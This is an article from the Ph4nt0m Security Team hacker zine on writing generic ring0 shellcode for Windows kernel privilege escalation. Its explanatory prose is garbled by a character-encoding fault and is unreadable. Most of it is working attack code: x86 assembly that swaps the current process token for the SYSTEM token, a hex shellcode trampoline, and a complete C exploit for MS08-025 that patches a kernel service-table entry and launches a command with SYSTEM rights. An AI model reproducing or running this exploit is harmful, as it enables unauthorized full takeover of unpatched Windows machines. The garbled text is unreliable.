                          ==Ph4nt0m Security Team==
 
                       Issue 0x02, Phile #0x05 of 0x0A
 

|=---------------------------------------------------------------------------=|
|=------------------------=[ дͨںshellcode ]=------------------------=|
|=---------------------------------------------------------------------------=|
|=---------------------------------------------------------------------------=|
|=-----------------------=[         By Tms320        ]=----------------------=|
|=----------------------=[   <Tms320_at_ph4nt0m.org>  ]=---------------------=|
|=---------------------------------------------------------------------------=|


һں©ĳֽоߵĿring3ring0

    عms08-025©Ӱϵͳ΢ļNTϵṹİ汾
˲оߵȤ©عⲻþϳó򡣻ں©
Ϊǻȡϵͳring0ִȨ޴˷֮ţͨ©ִȨޣȡ
systemȨִм
   
    Ŀǰóring0 shellcodeͨsystem̵Token赱ǰ
ȡsystemȨޡȽϵ͵Ĵ£
    
    if ( OsVersionInfo.dwMinorVersion == 0 ) {

        __asm {

               nop
               nop
               nop
               nop
               nop
               nop

               mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
               Mov eax,[eax]

               mov esi,[eax+0x44]//ȡǰEPROCESS
               mov eax,esi

        search2000:

               mov eax,[eax+0xA0]
               sub eax,0xA0
               mov edx,[eax+0x9C]
                cmp edx,0x8 // ͨPIDϵͳ
               jne search2000

               mov eax,[eax+0x12C] // ȡsystem̵token
               mov [esi+0x12C],eax // ޸ĵǰ̵token
               ret 8

        }
    }

    if ( OsVersionInfo.dwMinorVersion == 1 ) {

        __asm {

               nop
               nop
               nop
               nop
               nop
               nop

               mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
               Mov eax,[eax]

               mov esi,[eax+0x220]
               mov eax,esi

        searchXp:

               mov eax,[eax+0x88]
               sub eax,0x88
               mov edx,[eax+0x84]
               cmp edx,0x4 // ͨPIDϵͳ
               jne searchXp

               mov eax,[eax+0xc8] // ȡsystem̵token
               mov [esi+0xc8],eax // ޸ĵǰ̵token

               ret 8

        }
    }

    if ( OsVersionInfo.dwMinorVersion == 2 ) {

        __asm {

           nop
               nop
               nop
               nop
               nop
               nop

               mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
               Mov eax,[eax]

               mov esi,[eax+0x218]
               mov eax,esi

        search2003:

               mov eax,[eax+0x98]
               sub eax,0x98
               mov edx,[eax+0x94]
                cmp edx,0x4 // ͨPIDϵͳ
               jne search2003

               mov eax,[eax+0xd8] // ȡsystem̵token
               mov [esi+0xd8],eax // ޸ĵǰ̵token
               ret 8

        }
    }

    ӴϵͳEPROCESSṹ̶ͬϵͳsystemPIDͬ
EPROCESSsystemʱҪжϵͳ汾ʵǲӲ
ʽring0 shellcodeļԲ̫ãͬһϵͳͬ£Ᵽ֤
룬ڷsp12k3ϵͳᵽring0ó
ʱ

ͨõȨ

    Ϊ߼ԣҪʹӲķʽring3 shellcodeı̾
֪ʹAPIԿɿִҪĲAPIԹ̶

    Ȩsystem̵Token赱ǰִн̣ҪµĲ

    1.ҵsystemEPROCESSring0 ֱӷEPROCESSṹntoskrnl.exe
PsInitialSystemProcess һָsystem̵EPROCESSָ롣ֻҪ
ntoskrnl.exeȡPsInitialSystemProcessɻsystem̵EPROCESS
   
    2.õǰ̵EPROCESSntoskrnl.exeṩIoThreadToProcessxp2k3
PsGetThreadProcessΪͬһԲ߳Ḷ̌ǰִ߳̿KPCR+124h
ãͨǰ̵ִ߳IoThreadToProcessͿԻõǰ̵EPROCESSڶ
ڲͬ汾NTϵͳKPCRṹһ൱ȶĽṹ,Դڴ[0FFDFF124h]
ȡǰ̵߳ETHREADָ롣
   
    3.滻ǰ̵TokenΪsystemTokenTokenEPROCESSеƫƲ̶
ҪҳƫֵȻ滻ntoskrnl.exePsReferencePrimaryToken
˴EPROCESSȡTokenĲҪƫȴڳ
   
    win 2kϵͳPsReferencePrimaryTokenȡTokenĴΪ

    mov     eax, [ebp+8]
    mov     edi, [eax+12Ch]
    lea     eax, [edi-18h]
          
    win xp/2k3ϵͳPsReferencePrimaryTokenȡTokenĴΪ

    mov     edi, [ebp+8]
    lea     ebx, [edi+0D8h]
   
    ȻʹõļĴ̶ָԹ̶ԲûPsReferencePrimaryToken
ڵַleaָáٸƫΪСEPROCESSһԣȡleaָǰλ
Ϊ0ĲɻȡTokenƫ

    Ӧshellcode

    PsReferencePrimaryToken=80123456h
    PsInitialSystemProcess=80123456h
    IoThreadToProcess=80123456h;
        pushad
        pushfd
        mov esi,PsReferencePrimaryToken
    findtokenoffset:
        lodsb
        cmp     al, 8Dh;
        jnz     findtokenoffset
        mov     edi,[esi+1]
        and     al, [esi+3];жǷΪWin 2k
        jz    @F
        mov     edi,[esi-5]
     @@:
        mov     esi, [PsInitialSystemProcess]
        push    dword ptr [0FFDFF124h]
        mov     eax,PsGetThreadProcess
        call    eax
        add     esi, edi
        add     edi, eax
        movsd
        popfd
        popad
        ret     08h

    еĳPsReferencePrimaryTokenPsInitialSystemProcessIoThreadToProcess
ͨntoskrnl.exeGetProcAddressڱػȡں˵ַ
ms08-025ͨó򽫸ȡЩַ̡

һͨ

    ҪshellcodeԼȡAPIĵַҪshellcodeϻȡAPIַĴ
ȡntoskrnl.exeں˻ַĴ롣PEļʽǹ̶ģring3APIring0
ͬãǿͨAPIƵı룬APIȡӦַntoskrnl.exe
ں˻ַͨȡеĺPEͷáϵͳжУǿ
ntoskrnl.exeжϴַsidtָǿԻȡָϵͳж
ָ룬һntoskrnl.exeеĺIDTָͬKPCRṹУΪ򵥵
ֱӴ[0FFDFF038h](KPCR+38h)ڴжȡ
    
    ߻˼д161ֽڵring0 shellcodeɹms08-025С
ַʽʵֵring0 shellcdoeԲⲿִAPIܹԶ
ںСԶring0 shellcodeڻӰڲ߿԰ǰ˼Լʵ
ش롣

ġ¼

    жϵͳ汾ͨóˣϵңҽһĽ

    #include <stdio.h>
    #include <windows.h>
    #pragma comment (lib, "user32.lib")
    #pragma comment (lib, "ntdll.lib")

    typedef LONG NTSTATUS; 

    typedef NTSTATUS (NTAPI *PNTALLOCATE)(HANDLE               ProcessHandle,
                           PVOID            *BaseAddress,
                           ULONG                ZeroBits,
                           PULONG           RegionSize,
                           ULONG                AllocationType,
                           ULONG                Protect );
    typedef NTSTATUS (NTAPI *ZWVDMCONTROL)(ULONG, PVOID);

    ZWVDMCONTROL    ZwVdmControl=NULL;
    DWORD        PsReferencePrimaryToken = 0;
    DWORD        PsInitialSystemProcess = 0;
    DWORD        IoThreadToProcess = 0;

    #define STATUS_SUCCESS  ((NTSTATUS)0x00000000L) 
    #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L) 

    typedef enum _SYSTEM_INFORMATION_CLASS {

        SystemModuleInformation=11,
    } SYSTEM_INFORMATION_CLASS;

    typedef struct _IMAGE_FIXUP_ENTRY {

        WORD    offset:12;
        WORD    type:4;
    } IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;

    typedef struct _SYSTEM_MODULE_INFORMATION { // Information Class 11

        ULONG Reserved[2];
        PVOID Base;
        ULONG Size;
        ULONG Flags;
        USHORT Index;
        USHORT Unknown;
        USHORT LoadCount;
        USHORT ModuleNameOffset;
        CHAR ImageName[256];
    } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; 

    extern "C"
    NTSTATUS 
    NTAPI
    NtAllocateVirtualMemory(
        IN HANDLE ProcessHandle,
        IN OUT PVOID *BaseAddress,
        IN ULONG ZeroBits,
        IN OUT PULONG AllocationSize,
        IN ULONG AllocationType,
        IN ULONG Protect
        );

    extern "C"
    NTSTATUS
    NTAPI
    NtQuerySystemInformation(          
        IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
        IN OUT PVOID SystemInformation,
        IN ULONG SystemInformationLength,
        OUT PULONG ReturnLength OPTIONAL
        );

    extern "C"
    PIMAGE_NT_HEADERS
    NTAPI
    RtlImageNtHeader (
        IN PVOID Base
        );

    extern "C"
    PVOID
    NTAPI
    RtlImageDirectoryEntryToData (
        IN PVOID Base,
        IN BOOLEAN MappedAsImage,
        IN USHORT DirectoryEntry,
        OUT PULONG Size
        );

    void ErrorQuit(char *msg)
    {
        printf("%s:%x\n", msg, GetLastError());
        ExitProcess(0);
    }

    DWORD
    GetKernelBase(char *KernelName)
    {
        NTSTATUS        status = STATUS_SUCCESS;
        ULONG                i = 0;
        ULONG                NeedSize = 0;
        ULONG                ModuleTotal = 0;
        DWORD                dwKernelBase = 0;
        PCHAR Temp[10];
        PSYSTEM_MODULE_INFORMATION        SystemModuleInfo = NULL;
        
        status = NtQuerySystemInformation(
                    SystemModuleInformation, 
                    (PVOID)Temp, 
                    10, 
                    &NeedSize );

        if( status != STATUS_INFO_LENGTH_MISMATCH ) {

            printf("NtQuerySystemInformation (first) failed, status: %08X\n", status );
            return dwKernelBase;
        }
        
        SystemModuleInfo = (PSYSTEM_MODULE_INFORMATION)LocalAlloc( LPTR, NeedSize );
        if ( NULL == SystemModuleInfo ) {
        
            printf("NtQuerySystemInformation failed (second), code: %08X\n", GetLastError() );
            return dwKernelBase;
        }
        
        status = NtQuerySystemInformation(
                    SystemModuleInformation, 
                    SystemModuleInfo, 
                    NeedSize, 
                    &NeedSize );
        
        if( status != STATUS_SUCCESS ) {

            printf("NtQuerySystemInformation failed, status: %08X\n", status );
            return dwKernelBase;
        }

        
        ModuleTotal = *(PULONG)SystemModuleInfo;
        SystemModuleInfo = (PSYSTEM_MODULE_INFORMATION)((PUCHAR)SystemModuleInfo+4);
        
        for( i=0; i<ModuleTotal; i++ ) {

            if( strstr(SystemModuleInfo->ImageName, "ntoskrnl.exe")) {
            strcpy(KernelName, "ntoskrnl.exe");
                dwKernelBase = (DWORD)SystemModuleInfo->Base;
                break;
            }
        else if( strstr(SystemModuleInfo->ImageName, "ntkrnlpa.exe")) {
            strcpy(KernelName, "ntkrnlpa.exe");
                dwKernelBase = (DWORD)SystemModuleInfo->Base;
                break;
            }
        }
        
        LocalFree( SystemModuleInfo );
        return  dwKernelBase;
    }


    DWORD
    FindKiServiceTable(HMODULE  hModule, DWORD dwKeSDTOffset)
    {
        PIMAGE_NT_HEADERS                NtHeaders = NULL;
        PIMAGE_BASE_RELOCATION        ImageBaseReloc = NULL;
        PIMAGE_FIXUP_ENTRY                ImageFixup = NULL;
        DWORD                                        RelocTableSize = 0;
        DWORD                                        i;
        DWORD                                        dwVirtualAddress;
        DWORD                                        dwRva;
        DWORD                                        dwKiServiceTable = 0;

        NtHeaders = RtlImageNtHeader( hModule );
        ImageBaseReloc = (PIMAGE_BASE_RELOCATION)RtlImageDirectoryEntryToData( (PVOID)hModule,
                                                        TRUE,
                                                        IMAGE_DIRECTORY_ENTRY_BASERELOC,
                                                        &RelocTableSize );
        if ( NULL == ImageBaseReloc ) {
        
            return 0;
        }

        do {

            ImageFixup = (PIMAGE_FIXUP_ENTRY)((DWORD)ImageBaseReloc + sizeof(IMAGE_BASE_RELOCATION));
        
            for ( i = 0; 
                i < ( ImageBaseReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) >> 1;
                i++, ImageFixup++ ) {
                
                    if ( ImageFixup->type == IMAGE_REL_BASED_HIGHLOW ) {
                    
                        dwVirtualAddress = ImageBaseReloc->VirtualAddress + ImageFixup->offset;
                        dwRva = *(PDWORD)((DWORD)hModule+dwVirtualAddress) - (DWORD)NtHeaders->OptionalHeader.ImageBase;
                    
                        if ( dwRva == dwKeSDTOffset ) {
                        
                            if (*(PWORD)((DWORD)hModule + dwVirtualAddress-2) == 0x05c7) {

                                dwKiServiceTable = *(PDWORD)((DWORD)hModule + dwVirtualAddress+4) - NtHeaders->OptionalHeader.ImageBase;        
                                return dwKiServiceTable;
                            }
                        }
                    }
            }

            *(PDWORD)&ImageBaseReloc += ImageBaseReloc->SizeOfBlock;
        
        } while ( ImageBaseReloc->VirtualAddress );

        return 0;
    }

    void InitTrampoline()
    {

       PNTALLOCATE NtAllocateVirtualMemory;
       LPVOID       addr = (LPVOID)3;
       DWORD       dwShellSize=0x1000;
       unsigned char trampoline[]=
    "\x60\x9C\xBE\x56\x34\x12\x80\xAC\x3C\x8D\x75\xFB\x8B\x7E\x01\x22"
    "\x46\x03\x74\x03\x8B\x7E\xFB\x8B\x35\x56\x34\x12\x80\xFF\x35\x24"
    "\xF1\xDF\xFF\xB8\x56\x34\x12\x80\xFF\xD0\x03\xF7\x03\xF8\xA5\x9D"
    "\x61\xC2\x08\x00";

       NtAllocateVirtualMemory = (PNTALLOCATE) GetProcAddress(GetModuleHandle("ntdll.dll"),"NtAllocateVirtualMemory");

       if( !NtAllocateVirtualMemory )
           exit(0); 

       NtAllocateVirtualMemory(   (HANDLE)-1,
                       &addr,
                       0,
                       &dwShellSize,
                       MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
                       PAGE_EXECUTE_READWRITE );

       if( (PULONG)addr )
       {
           printf("\n[++] Error Allocating memory\n");
           exit(0); 
       }


       *(DWORD*)(trampoline+3)=PsReferencePrimaryToken;
       *(DWORD*)(trampoline+0x19)=PsInitialSystemProcess;
       *(DWORD*)(trampoline+0x24)=IoThreadToProcess;
       memcpy(NULL,trampoline,sizeof(trampoline)-1);
    }

    void GetFunction()
    {
        HMODULE    hNtdll;
        
        hNtdll = LoadLibrary("ntdll.dll");
        if(hNtdll == NULL)
        ErrorQuit("LoadLibrary failed.\n");
        
        ZwVdmControl = (ZWVDMCONTROL)GetProcAddress(hNtdll, "ZwVdmControl");
        if(ZwVdmControl == NULL)
        ErrorQuit("GetProcAddress failed.\n");
               
        FreeLibrary(hNtdll);
    }
    int main(int argc, char **argv)
    {

       //PULONG   PntVdmControl=0x805F0DB0;
        DWORD PntVdmControl=0x80800458; //ͨ*(PULONG)(KeServiceDescriptorTalbe)+0x10c*4
        
        PVOID        KeServiceDescriptorTable = NULL;
        DWORD        dwKernelBase = 0;
        DWORD        dwKeSDTOffset = 0;
        DWORD        dwKiServiceTable = 0;
        DWORD        FuncNumber = 0;
        HMODULE      hKernel;
        char         szNtos[MAX_PATH] = {0};
         
        STARTUPINFOA                stStartup;
        PROCESS_INFORMATION            pi;

      printf("\n\tMS08-025 Windows Local Privilege Escalation Vulnerability Exploit \n");
      printf("\tBy Tms320, Tms320@ph4nt0m.org\n");
      printf("\tAll unpathched OS can be compromised\n\n");
      if ( argc < 2 )
      {
        printf("\tUsage: %s <command>\n", argv[0]);
        exit(0);
      }

       GetFunction();

       dwKernelBase = GetKernelBase(szNtos);

       if( dwKernelBase )
       {
           printf("Get KernelBase Success, %s base = %08X\n", szNtos, dwKernelBase);
           hKernel = LoadLibraryExA(szNtos,0,1);
       }
       else
       {
           printf("GetProcAddress failed, code: %d\n", GetLastError());
           return FALSE;
       }   

        KeServiceDescriptorTable = GetProcAddress( hKernel,  "KeServiceDescriptorTable" );
        if ( NULL == KeServiceDescriptorTable ) ErrorQuit("Get KeServiceDescriptorTable Address failed");

        printf( "KeServiceDescriptorTable = %08X\n", KeServiceDescriptorTable );

        dwKeSDTOffset = (DWORD)KeServiceDescriptorTable - (DWORD)hKernel;

        dwKiServiceTable = FindKiServiceTable( hKernel, dwKeSDTOffset );
        if ( 0 == dwKiServiceTable )ErrorQuit("Find KiServiceTable failed.\n");
        printf( "ok!!!\nKiServiceTable == %08X\n", dwKiServiceTable + dwKernelBase );


        FuncNumber = *(PDWORD)((DWORD)ZwVdmControl + 1);

        printf( "ZwVdmControl Call Number: %08X\n", FuncNumber );

        PntVdmControl = (DWORD)( dwKiServiceTable + dwKernelBase + FuncNumber * sizeof(DWORD) );


        PsReferencePrimaryToken = (DWORD)GetProcAddress( hKernel,  "PsReferencePrimaryToken" )-(DWORD)hKernel+dwKernelBase;        
        PsInitialSystemProcess = (DWORD)GetProcAddress( hKernel,  "PsInitialSystemProcess" )-(DWORD)hKernel+dwKernelBase;
        IoThreadToProcess = (DWORD)GetProcAddress( hKernel,  "IoThreadToProcess" )-(DWORD)hKernel+dwKernelBase;
       InitTrampoline();

       SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, PntVdmControl );
       SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, PntVdmControl+2);
       printf("\n[+] Executing Shellcode...\n");

       ZwVdmControl(0, NULL);
       GetStartupInfo( &stStartup );

       CreateProcess( NULL,
           argv[1],
           NULL,
           NULL,
           TRUE,
           NULL,
           NULL,
           NULL,
           &stStartup,
           &pi );   //ʱcmd.exeSYSTEMȨ

       
       printf("[+] Exiting...\n");

       return TRUE;
    }

-EOF-